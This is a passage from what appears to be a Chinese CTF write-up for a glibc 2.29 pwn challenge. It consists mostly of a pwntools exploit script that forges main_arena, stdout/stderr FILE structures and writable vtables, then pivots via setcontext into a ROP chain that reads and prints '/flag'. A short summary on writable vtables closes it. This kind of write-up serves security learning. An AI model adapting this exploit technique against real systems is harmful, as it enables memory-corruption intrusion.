    p.sendline(hex(IO_helper_jumps+0x200))#_IO_buf_base
    #huge payload

    payload = '\x0a'+'\x00'*4
    layout = [
            libc_base + (0x7ffff7f6e590-static_libc),
            0xffffffffffffffff,
            0x0,
            0x7ffff7f6bae0,
            0x0,
            0x0,
            0x0,
            0xffffffff,
            libc_base + (0x7ffff7f6bac8-static_libc),
            0x0,
            0x7ffff7f6d560
            ]
    layout = flat(layout)
    payload += layout
    #start with 0x7ffff7f6bae0
    fake_top_chunk = libc_base + (0x7ffff7f6bae0-static_libc)
    part2 = p64(0)+p64(0x10000-(fake_top_chunk&0xf000)+1)
    arg_list = [libc_base+(0x7ffff7f6ca10-static_libc),libc_base+(0x7ffff7f6ca50-static_libc)]

    leave_ret = libc_base + 0x0000000000058373
    p_rdx_rsi = libc_base + 0x000000000012bdc9
    p_rdi = libc_base + 0x0000000000026542
    p_rsi = libc_base + 0x0000000000026f9e
    p_rdx = libc_base + 0x000000000012bda6
    p_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5

    rops = p64(p_rax)+p64(2)
    rops += p64(syscall)
    #rops += p64(libc.sym['open'])
    #read
    rops += p64(p_rdi)+p64(3)
    rops += p64(p_rdx_rsi)+p64(0x20)+p64(arg_list[1])
    rops += p64(p_rax)+p64(0)
    rops += p64(syscall)
    #rops += p64(libc.sym['read'])
    #write
    rops += p64(p_rdi)+p64(2)
    rops += p64(p_rsi)+p64(arg_list[1])
    rops += p64(p_rax)+p64(1)
    rops += p64(syscall)
    print len(rops)

    part2 += rops+'\x00'*(0xba0-0xae0+8-0x10-len(rops))
    part2 += p64(libc_base+(0x7ffff7f6bba8-static_libc))+'\x00'*(0xc08-0xbb0+8)+p64(0)*2+p64(libc_base+(0x7ffff7e20190-static_libc))+p64(0)*3
    payload += part2
    #start with main_arena
    main_arena = p64(0)+p64(0)#have_fastchunks = 0
    main_arena += p64(0)*10
    #fake top chunk
    main_arena += p64(fake_top_chunk)+p64(0)*3
    payload += main_arena
    #satrt:0x7ffff7f6bcc0 end:0x7ffff7f6c498
    main_arena1 = ''
    for i in range(0,(0x7ffff7f6c498-0x7ffff7f6bcc0+8)/8,2):
        main_arena1 += p64(libc_base + (0x7ffff7f6bcc0-static_libc) - 0x10 + (i/2)*0x10)*2
    payload += main_arena1
    #begin with 0x7ffff7f6c4a0
    part3 = flat([
        0x4,
        0x0,
        libc_base+(0x7ffff7f6bc40-static_libc),
        0,
        1,
        0x21000,
        0x21000,
        libc_base+(0x7ffff7e21a90-static_libc),
        libc_base+(0x7ffff7e230b0-static_libc),
        0x0,
        libc_base+(0x7ffff7f37f3d-static_libc),
        libc_base+(0x7ffff7f37f3d-static_libc),
        libc_base+(0x7fffffffe878-static_libc),
        libc_base+(0x7fffffffe876-static_libc),
        0,
        0,
        0,
        1,
        2,
        libc_base+(0x7ffff7f6f2d8-static_libc),
        0,
        0xffffffffffffffff,
        libc_base+(0x7ffff7f6a6e0-static_libc),
        libc_base+(0x7ffff7f3de48-static_libc),
        libc_base+(0x7ffff7f68580-static_libc),
        libc_base+(0x7ffff7f6c568-static_libc),
        libc_base+(0x7ffff7f68b40-static_libc),
        libc_base+(0x7ffff7f693c0-static_libc),
        libc_base+(0x7ffff7f68900-static_libc),
        libc_base+(0x7ffff7f68880-static_libc),
        0,
        libc_base+(0x7ffff7f69080-static_libc),
        libc_base+(0x7ffff7f690e0-static_libc),
        libc_base+(0x7ffff7f69160-static_libc),
        libc_base+(0x7ffff7f69220-static_libc),
        libc_base+(0x7ffff7f692a0-static_libc),
        libc_base+(0x7ffff7f69300-static_libc),
        libc_base+(0x7ffff7f213e0-static_libc),
        libc_base+(0x7ffff7f204e0-static_libc),
        libc_base+(0x7ffff7f20ae0-static_libc),
        ])
    part3 += p64(libc_base+(0x7ffff7f38678-libc_base))*13+p64(0)*3+p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(0)*3
    payload += part3
    #fake stderr
    fake_stderr = p64(0xfbad2087)+p64(libc_base+(0x7ffff7f6c703-static_libc))*7+p64(libc_base+(0x7ffff7f6c704-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e570-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b780-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6c748-static_libc))+p64(0)+p64(libc_base+(0x7ffff7f6d560-static_libc))
    payload += fake_stderr
    #fake stdout
    fake_stdout = p64(0)+p64(libc_base+(0x7ffff7f6c7e3-static_libc))*7+p64(libc_base+(0x7ffff7f6c7e4-static_libc))+p64(0)*4+p64(libc_base+(0x7ffff7f6ba00-static_libc))+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6e580-static_libc))+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+(0x7ffff7f6b8c0-static_libc))+p64(0)*3+p64(0xffffffff)+p64(libc_base+(0x7ffff7f6c828-static_libc))+p64(0)+p64(IO_helper_jumps)
    payload += fake_stdout
    part4 = p64(libc_base+(0x7ffff7f6c680-static_libc))+p64(libc_base+(0x7ffff7f6c760-static_libc))+p64(libc_base+(0x7ffff7f6ba00-static_libc))
    part4 += flat([
        libc_base+(0x7ffff7dade90-static_libc),
        libc_base+(0x7ffff7f1bdd0-static_libc),
        libc_base+(0x7ffff7f1d000-static_libc),
        libc_base+(0x7ffff7f1d030-static_libc),
        libc_base+(0x7ffff7f1d090-static_libc),
        libc_base+(0x7ffff7f1d2e0-static_libc),
        libc_base+(0x7ffff7f1d4e0-static_libc),
        libc_base+(0x7ffff7f1d5b0-static_libc),
        libc_base+(0x7ffff7f1d5f0-static_libc),
        libc_base+(0x7ffff7f1d650-static_libc),
        libc_base+(0x7ffff7e2e390-static_libc),
        libc_base+(0x7ffff7f1d770-static_libc),
        libc_base+(0x7ffff7f1d7b0-static_libc),
        libc_base+(0x7ffff7f1d810-static_libc),
        libc_base+(0x7ffff7f1d880-static_libc),
        libc_base+(0x7ffff7e9f2a0-static_libc),
        libc_base+(0x7ffff7f1d890-static_libc),
        libc_base+(0x7ffff7f1d940-static_libc),
        libc_base+(0x7ffff7f1d980-static_libc),
        libc_base+(0x7ffff7ec7150-static_libc),
        libc_base+(0x7ffff7f1da40-static_libc),
        libc_base+(0x7ffff7f6c900-static_libc),
        libc_base+(0x7ffff7f1dbb0-static_libc),
        libc_base+(0x7ffff7f1dc30-static_libc),
        libc_base+(0x7ffff7ed8890-static_libc),
        libc_base+(0x7ffff7f1dc50-static_libc),
        libc_base+(0x7ffff7f1dc80-static_libc),
        libc_base+(0x7ffff7f1dcb0-static_libc),
        libc_base+(0x7ffff7f1dce0-static_libc),
        libc_base+(0x7ffff7f1dd10-static_libc),
        libc_base+(0x7ffff7f1ddd0-static_libc),
        ])
    part4 += p64(0)*2
    payload += part4
    rop_addr = libc_base + (0x7ffff7f6baf0-static_libc)
    fake_vatable = p64(0)*2 + flat([
        libc_base+(0x7ffff7e18a70-static_libc),
        libc_base+(0x7ffff7dfb530-static_libc),
        libc_base+(0x7ffff7e18140-static_libc),
        libc_base+(0x7ffff7e18150-static_libc),
        libc_base+(0x7ffff7e197b0-static_libc),
        libc_base+(0x7ffff7e181b0-static_libc),
        libc_base+(0x7ffff7e183b0-static_libc),
        libc_base+(0x7ffff7e18ae0-static_libc),
        libc_base+(0x7ffff7e18800-static_libc),
        libc_base+(0x7ffff7e186d0-static_libc),
        libc_base+(0x7ffff7e18a60-static_libc),
        arg_list[0],
        0,
        rop_addr-8,
        libc_base+(0x7ffff7e198f0-static_libc),
        0,
        libc_base+(0x7ffff7e19900-static_libc),
        ])

    part5 = p64(0)+p64(rop_addr)+p64(leave_ret)+'/flag'.ljust(0x20,'\x00')+p64(libc.sym['setcontext']+53)

    payload += fake_vatable + part5

    p.recvuntil("2 : ")
    p.send(payload)
    p.interactive()

exp()

总结

从这道题目上可以看到glibc 2.29虽然没有去掉vtable check,但是vtable可写导致可以覆写上面的函数指针,这或许会成为一些题目的新的出题思路。

trip_to_trick.zip (0.829 MB) 下载附件
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖